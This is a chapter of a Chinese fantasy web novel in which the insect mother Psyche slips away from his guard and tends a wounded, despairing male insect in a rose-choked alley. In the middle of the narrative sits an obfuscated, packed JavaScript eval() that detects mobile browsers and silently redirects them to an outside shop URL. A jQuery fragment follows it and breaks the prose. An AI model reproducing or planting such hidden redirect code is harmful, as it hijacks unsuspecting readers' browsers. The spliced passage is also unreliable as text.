22. 疯言
    运气是很玄学的东西,普绪赫对它不抱期望。

    他将许愿卡小心地收好。

    其实结果并没有那么差,普绪赫下意识地认为,自己本该是一个都不中的,至少现在不是空手而归。

    雌虫被这逆天的霉运惊到,她刚想言语安慰一下,普绪赫却已先一步拉着阿斯塔往出口走去,渐行渐远的身影带来浓烈的失落感,她望着普绪赫离开的方向久久不能回神。

    好想和他说说话。

    “等之后再问问阿斯塔吧,真是的,他从哪找来一个这么乖的小孩?”光是看着就让她心痒痒。

    说罢,她又去检查了一遍机器。

    道路宽阔,人群熙攘。

    阿斯塔被牵住的手传来麻木感,他以为他们的虫母是被这个游戏伤到了心,但从普绪赫凝重的脸色来看,似乎有其他的隐情。

    普绪赫并不是毫无目的地乱转,他是在寻找声音的源头。

    就在他揣好愿望牌时,一道无望的哀鸣传入他的脑海。那个虫族的情绪太过强烈,在被普绪赫捕捉到的一瞬间,精神力直接割裂掉与原身的联系,拼尽全力地往他这边靠近。

    精神力传达给普绪赫的感觉脆弱无比,倘若刮起一阵大风,普绪赫都要怀疑它会不会被当场刮散。

    这精神力倒是与他有几分相似的温和。

    “冕下,救救我……”

    “求您……求您,救救我……”

    “……”

    阿斯塔见普绪赫的速度慢下来停在路口,他趁机问道:“怎么了,冕下?是有什么事吗。”

    普绪赫松开了他的手。

    “阿斯塔。”普绪赫的视线打量四周,“你先走好不好?”

    阿斯塔没听明白:“什么?”

    普绪赫背对着他,路灯的浊光打在少年的身上反添一层灰暗,普绪赫底气不足地道:“我,我想自己去找个东西。”

    “冕下,您要找什么?我陪您一起去。”

    即使地下魔城都是虫族,也不能放任虫母独自行动,万一发生突发情况或者遇上什么棘手的人物,普绪赫未必应付得过来。

    他们的冕下分明是第一次来这里。

    普绪赫丝毫不肯让步:“不要,让我一个人去。”

    向他求救的精神力徘徊在上空,因为切断了与本体的联系,再想原路寻回去对它而言还是有些困难;其他虫族不仔细看根本不会发现,远远望去也不过是一缕亦真亦假的白雾。

    普绪赫是铁了心要半路“抛弃”阿斯塔,这不能完全怪他,虫母的直觉往往不会出错,他的身体抗拒着旁人的陪同。

    阿斯塔不依不饶:“冕下……”

    普绪赫回头道:“阿斯塔。”

    阿斯塔以为他会承受他们虫母的怒火,但普绪赫只是回应了他一个浅浅的笑;普绪赫的手搭上帽沿往下压,以阿斯塔的身高现在完全看不清他的脸。

    普绪赫的声音混在城市的喧嚣声中依旧清晰:“我想一个人去。”

    不是商量的语气。

    普绪赫知道自己在无理取闹,他保证道:“对不起,你相信我好吗?我不会有事的。”

    精神力终于嗅到了本体的气息,它过来卷了卷普绪赫的披风,化作一丝雾线试图引导普绪赫往某个位置前进。

    阿斯塔只能眼睁睁地看着普绪赫消失在转角处,他无措地停在原地,随后发起通讯。

    他拦不了冕下。

    但该上报的还是得上报。

    阿斯塔觉得自己可能要被撤职了。

    普绪赫穿过好几个街道,路过高矮不一的房屋,看着建筑风格在不断变化,周围虫族向他投来的目光换了一批又一批。

    走得他的脚跟都有点发酸。

    普绪赫走了很久才来到雾线的尽头,这里远离中心城区,人迹罕至;道路旁的建筑略显老旧,锈迹斑斑的路灯,无人清理的杂草,昏黄的灯光洒下来丝毫没有暖意。

    一大片毁坏的建筑被保留下来,它们整齐地往外倾倒,如果普绪赫在此刻飞起来,就会发现这些建筑中心还遗留着一个撞击所产生的大坑。

    但他现在还飞不起来,蝴蝶羽翼最多只能支撑着他低空滑翔。

    精神力像是拼尽了最后一口气,等普绪赫赶到这里的时候,它已经快撑不住了。

    普绪赫觉得它完全拥有自我意识,在它彻底消散前,他还是没忍住轻轻地说了句:“辛苦你了,好好休息。”

    精神力自然不会说话,他眷恋似地在普绪赫身边环绕、淡去,消失;好像在撒娇,又好像是在感谢。

    普绪赫根据它的残留拐进一处巷口。

    地上的石砖碎得差不多了,露出下方原有的土壤。

    湿漉漉的砖块上苔藓遍布,头顶的破损管道还在不停的往下淌水;普绪赫走得小心,他避开散落的铁板碎片找寻落脚点,越是深入光线越暗,小小的身躯都快被黑暗侵蚀。

    森冷至极。

    潮湿的空气中弥漫着一股醉人的花香,巨大的违和感刺激着普绪赫的感官,他往旁看去,点点血红绽放在无人所知的阴暗角落,它们攀附着墙壁竭力地向上探出枝叶。

    根系已经在开始慢慢腐烂。

    那是一簇簇野蛮生长的玫瑰。

    普绪赫莫名联想到西塞维胸前所佩戴的徽章。

    “谁……”

    一声嘶哑低沉的男音从最深处传来。

    黑暗中,普绪赫已经看不清道路,但本能还是促使着他无畏地往前走。

    “不要过来,走开!”

    察觉到普绪赫的靠近,那人急了,挣扎的动静和痛呼让普绪赫不由地停住脚步。

    太暗了,他根本看不清前方的状况……念头闪过,普绪赫这才想起自己的全息手环上似乎有照明功能。

    窸窸窣窣的声音响起,墙壁上的玫瑰也在跟着抖动,伴随着普绪赫打开灯光,黑暗被驱散殆尽。

    一个虫族浑身脏污地蜷缩在玫瑰花丛里,藤条上的尖刺刺破了他的皮肤,血液滴落在泥土间,惊慌失色的脸上满是伤痕。

    雄虫没有想到会有虫族找来,他整个身躯都往后撤,本就破烂不堪的衣服被这么一扯更是糟糕;他的眼睛因为充血而视力减退,根本看不清来人,只能胡乱的挥舞手臂,嘴里不断的吐出脏话。

    普绪赫不在乎他的咒骂和驱赶,他绕过花丛来到他的身侧,徒手抓起缠绕在他身上的荆棘。

    “嘶……”普绪赫被扎得一痛,却没有停止手上的动作。

    束缚感渐渐消失,那个虫族茫然地看向普绪赫,他的喉咙里像是填了捧黄沙般干涩,每次张嘴说话都是在遭受无形的虐待。

    瞳孔因为强光而骤缩,他生气的质问道:“你是谁?你怎么找到我的!”

    撕裂般的剧痛摧残着雄虫的理智,生理盐水不受控制地往下流,他抱着脑袋指骨苍白,那力道仿佛要生生挖开自己的头颅,雄虫偏过头,露出一只血红的眼睛:“不要靠近我,不要靠近我……”

    “滚!”

    “滚!滚!滚——!!!”

    雄虫嘶哑的叫喊回荡在巷内,声音震得普绪赫的耳朵一阵发麻,他脱下自己的披风遮盖在雄虫的身上,倒是与周围的环境格外和谐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725161|144945||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    雄虫满脸不屑地看向这层披风,没有因为普绪赫善意的动作而收敛自己阴翳的神情。

    普绪赫居高临下地看着他:“是你让我来的。”

    雄虫的脸因为疼痛而扭曲,他的嘴张得极大,口中的津液也顺着血水缓缓下滑,明明嗓子干哑,却还是发出刺耳的尖笑:“谁让你来……我让你来?你在说什么鬼话?老子今天就是死在这里,臭了,烂了,被下水道的老鼠啃食果腹,都不会求谁来帮忙!!!”

    喉咙涌上腥甜,雄虫吼完忍不住重重咳嗽。

    普绪赫纳闷地盯着他,不明白为什么这个虫族的嘴说话这么毒,连咒自己都不带喘的。

    普绪赫鼻尖微动,刺鼻的血腥暗示了雄虫的伤情;对方好歹也是虫族,精神力也为了救它这么拼命,普绪赫不可能置之不理:“你伤得很重,先别说话了。”

    雄虫不听,他就像知道自己必死无疑般,抬手阻止了想要靠近的普绪赫,说话时血沫飞溅:“你管我,老子身上染了病,你要是敢靠近我你就跟我一样等死!”

    “看你年纪也不大,不会还是个幼崽吧?臭小子跑到这里来,要是被你家长知道了你才是真的要完蛋……”

    普绪赫对此充耳不闻,他单膝跪下来,掏出自己兜里的手帕为雄虫包扎。他的腿腕处有一条可怖的伤口,里肉外翻,鲜血淋漓,看起来骇人得紧。

    雄虫见普绪赫压根不理自己,顿时也失去了骂人的兴致,大口大口的呼吸空气;他明明已经准备好去死了,为什么还要让其他人看见自己的如此不堪的模样。

    简直是人都入土了还要扒他的裤子。

    一点尊严都不给他留。

    “你快走。”雄虫绝望地说道:“我生病了,待会儿发作的时候会感染你的。”

    听着雄虫稍微缓和的语气,普绪赫把伤口细细处理好,轻轻打了个结,他问:“什么病?生病了的话去就去看医生。”

    雄虫冷静下来后,发现普绪赫的声音实在是太好听,尤其是在这种境况下,对方的存在根本无法忽视。

    他突然后悔自己方才羞辱般的言语。

    “治不好的。”雄虫道:“我会死,我想死,治好了也没用。你快走,我可没求你帮我……”

    不知是不是普绪赫的错觉,他总觉得对方的侧颜像极了西塞维。

    普绪赫看着对方倔强的样子气不打一处来:“你都求我帮你了,我也过来了,可你还骂我,你怎么这么不讲理呢?”

    雄虫怒了:“谁求你了?”

    普绪赫和他杠上:“要么是你,要么是你的精神力;我搁很远就听见你在喊我,你知道我跟着你的精神力找你找了多久吗?”

    雄虫的脸上短暂地愣神,疯言疯语道:“精神力?什么精神力……我明明已经没有精神力了。”

    雄虫好像疯了。

    他也的确没有精神力了。

    普绪赫这一探查,才发现对方竟真的精神力亏空,不仅仅是精神力,连对方的精神体都已经完全化成了一团浆糊。

    这是经历了莫大的痛苦。

    普绪赫害怕地往后退一步。

    听见动静,雄虫终于想起自己之前一直在说的话,他的确没有求谁来帮忙,因为他所求之人根本不存在。像是反应过来自己的现状,他喃喃道:“我在哪?”

    他神志不清地问道:“您是谁?”

    普绪赫见他快要崩溃,沉默片刻后袒露身份:“普绪赫。”

    雄虫好像并不认识他,在听见他的回答后毫无反应。

    几秒后,普绪赫补充道:“我是虫母。”